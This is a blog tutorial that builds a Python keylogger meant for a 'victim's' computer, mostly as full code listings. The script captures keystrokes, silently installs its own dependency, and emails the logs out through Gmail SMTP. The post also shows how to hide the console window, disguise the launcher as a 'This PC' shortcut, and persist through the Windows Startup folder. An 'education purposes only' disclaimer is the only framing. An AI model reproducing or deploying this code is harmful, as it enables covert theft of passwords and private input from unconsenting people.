An awesome Key Logger 

by erfan

Posted on: 2021-03-31


An awesome Key Logger

10 minutes read

Topics:

 

This post is for Education purposes only and I don't have any responsibilities for the way of using it.

 

I will use the pynput library that you can install using pip install pynput but we will install that on the victim system (NOT MANUALLY 😁)

 

Let's do the basics

the key logger code is so simple, just make a file named keylogger.py

#keylogger.py
from pynput import keyboard

def onPress(key):
    print("Key {} pressed.".format(key))

def onRelease(key):
    print("Key {} released.".format(key))
    if str(key) == "Key.esc":
        print("Exiting...")
        return False

with keyboard.Listener(on_press=onPress, on_release=onRelease) as Listener:
    Listener.join()

we imported keyboard from pynput and add a listener to it. and defined two functions that print the key which pressed or released.

also, if we hit esc the program stops. (we delete it later)

so let's run it:

 

The fun part begins:

So, how can we install the pynput library on the victim's system?!😈

You know how to run scripts on the terminal from python directly!?🤫

os.system("pip -v") this will show the pip's version on the terminal so let's use it.

before importing pynput we install the library. Easy Peasy!

#keylogger.py
try:
    from pynput import keyboard
except ModuleNotFoundError:
    from os import system
    print("I'm installing pynput library XD")
    system("pip install pynput")
    print("I'v installed it :)")
    from pynput import keyboard

def onPress(key):
    print("Key {} pressed.".format(key))

def onRelease(key):
    print("Key {} released.".format(key))
    if str(key) == "Key.esc":
        print("Exiting...")
        return False

with keyboard.Listener(on_press=onPress, on_release=onRelease) as Listener:
    Listener.join()

This will easily install the library 🤭

 

Write logs into a file:

#keylogger.py
try:
    from pynput import keyboard
except ModuleNotFoundError:
    from os import system
    print("I'm installing pynput library XD")
    system("pip install pynput")
    print("I'v installed it :)")
    from pynput import keyboard

keysString = ""
count = 0

def doSomthingWithKeys():
    global keysString, count
    keysString = keysString.replace("'", "").replace("Key.", ""). replace('""', "'")  #formatting the output to be very small
    print(keysString)

    with open('log.txt', 'a') as logFile:
        logFile.write(keysString)
    keysString = ""
	count = 0


def onPress(key):
    global keysString, count
    count+=1
    keysString += "{}+,".format(key)
    if count > 20:
        doSomthingWithKeys()
    #print("Key {} pressed.".format(key))

def onRelease(key):
    global keysString, count
    count+=1
    keysString += "{}-,".format(key)
    #print("Key {} released.".format(key))
        
    if str(key) == "Key.esc":
        print("Exiting...")
        return False

with keyboard.Listener(on_press=onPress, on_release=onRelease) as Listener:
    Listener.join()

I've made some changes that after every 20 press and release it will call a function to do something with the keys. (here we write it in a file but later we send it as an email🤫)

 

Send them via email:

there are some things you should know:

  1. Do not use your main email address.
  2. According to Google, you can only send 500 emails a day!
  3. According to Google, you can send 10,000 characters per mail.

so be careful about the email. (you can ignore the released keys)

For example in the last section, we thought we had 20 chars but actually in the file will be about 100 chars, although I made the string small and removed the whitespaces but as you saw enter or backspace are not one char, besides we had + and - to show pressed or released. Even those commas counts.

Let's send emails

#Dummy python file
import smtplib
import ssl
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
def sendMail(mailTo, subject, text):
    sender_email = "your@gmail.com"
    receiver_email = mailTo
    password = "your password here"

    message = MIMEMultipart("alternative")
    message["Subject"] = subject
    message["From"] = sender_email
    message["To"] = receiver_email

    part1 = MIMEText(text, "plain")
    message.attach(part1)
    context = ssl.create_default_context()
    with smtplib.SMTP_SSL("smtp.gmail.com", 465, context=context) as server:
        server.login(sender_email, password)
        server.sendmail(sender_email, receiver_email, message.as_string())

sendMail("mailTo@gmail.com", "hello", "I am some long text")

the function just gets a mailTo that's an email address, a subject, and a text and sends an email from your@gmail.com

but first, you have to make a configuration in your Gmail account.

Go here and turn on the Allow less secure apps switch. (It says: Google will automatically turn this setting OFF if it’s not being used. so use it regularly or make sure it always turned on)

now test the sendMail function and see if it works. (leave a comment if you have a problem)

#keylogger.py
try:
    from pynput import keyboard
except ModuleNotFoundError:
    from os import system
    print("I'm installing pynput library XD")
    system("pip install pynput")
    print("I'v installed it :)")
    from pynput import keyboard

import smtplib
import ssl
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart

def sendMail(mailTo, subject, text):
    sender_email = "your@gmail.com"
    receiver_email = mailTo
    password = "your password here"

    message = MIMEMultipart("alternative")
    message["Subject"] = subject
    message["From"] = sender_email
    message["To"] = receiver_email
    part1 = MIMEText(text, "plain")
    message.attach(part1)
    context = ssl.create_default_context()
    with smtplib.SMTP_SSL("smtp.gmail.com", 465, context=context) as server:
        server.login(sender_email, password)
        server.sendmail(sender_email, receiver_email, message.as_string())

keysString = ""
count = 0

def doSomthingWithKeys():
    global keysString, count
    keysString = keysString.replace("'", "").replace("Key.", ""). replace('""', "'")  #formatting the output to be very small
    print(keysString)
    #with open('log.txt', 'a') as logFile:
    #    logFile.write(keysString)
    
    sendMail("toMe@gmail.com", "log", keysString)
    keysString = ""
    count = 0


def onPress(key):
    global keysString, count
    count+=1
    keysString += "{}+,".format(key)
    if count > 200:
        doSomthingWithKeys()
    #print("Key {} pressed.".format(key))

def onRelease(key):
    global keysString, count
    count+=1
    keysString += "{}-,".format(key)
    #print("Key {} released.".format(key))
        
    if str(key) == "Key.esc":
        print("Exiting...")
        return False

with keyboard.Listener(on_press=onPress, on_release=onRelease) as Listener:
    Listener.join()

I also changed this line if count > 200: the ideal number is about 2,000.

 

Hide the terminal:

To hide the terminal or python console that pops up when you double click on a python file, you should change the .py extension to .pyw. this will not open the window and the script runs in the background. (just for installation it will open up until it installs the library😕 but after that, it will disappear for good)

So keylogger.pykeylogger.pyw

remember that you can stop the script from the task manager.

You can now remove this part:

if str(key) == "Key.esc":
    print("Exiting...")
    return False

 

Let's do something EVIL😈:

in CMD if you run explorer /root, (don't forget the comma), the My computer(This PC) will open🤫

so do these:

  1. add system("explorer /root,") on top of the code
  2. create a shortcut of the keylogger.pyw.
  3. change the name of the shortcut to This PC.
  4. change the Icon to This PC the icon.
  5. place the shortcut on the desktop.

All done. Now if the user wants to open This PC our script will run. 😁

There is a tiny problem, that's if the user opens This PC another time the script will run twice and we get multiple emails. 😕

 

There is another way:(according to this)

Another way to do something like that to run our program on startup is:

  1. Go to %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
  2. put the shortcut we created, there

and the script will run on startup. 😋

of course, we don't need this system("explorer /root,") line:

 

So the final code is:

#keylogger.py
try:
    from pynput import keyboard
except ModuleNotFoundError:
    from os import system
    print("I'm installing pynput library XD")
    system("pip install pynput")
    print("I'v installed it :)")
    from pynput import keyboard

import smtplib
import ssl
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart

def sendMail(mailTo, subject, text):
    sender_email = "your@gmail.com"
    receiver_email = mailTo
    password = "your password here"

    message = MIMEMultipart("alternative")
    message["Subject"] = subject
    message["From"] = sender_email
    message["To"] = receiver_email
    part1 = MIMEText(text, "plain")
    message.attach(part1)
    context = ssl.create_default_context()
    with smtplib.SMTP_SSL("smtp.gmail.com", 465, context=context) as server:
        server.login(sender_email, password)
        server.sendmail(sender_email, receiver_email, message.as_string())

keysString = ""
count = 0

def doSomthingWithKeys():
    global keysString, count
    keysString = keysString.replace("'", "").replace("Key.", ""). replace('""', "'")  #formatting the output to be very small
    print(keysString)
    #with open('log.txt', 'a') as logFile:
    #    logFile.write(keysString)
    
    sendMail("toMe@gmail.com", "log", keysString)
    keysString = ""
    count = 0

def onPress(key):
    global keysString, count
    count+=1
    keysString += "{}+,".format(key)
    if count > 200:
        doSomthingWithKeys()
    #print("Key {} pressed.".format(key))

def onRelease(key):
    global keysString, count
    count+=1
    keysString += "{}-,".format(key)
    #print("Key {} released.".format(key))

with keyboard.Listener(on_press=onPress, on_release=onRelease) as Listener:
    Listener.join()

This post was for Education purposes only and I don't have any responsibilities for the way of using it.

The whole code is here.

but you have to make your own shortcut if you want to use it like that.

 


Tags:

Leave a Comment: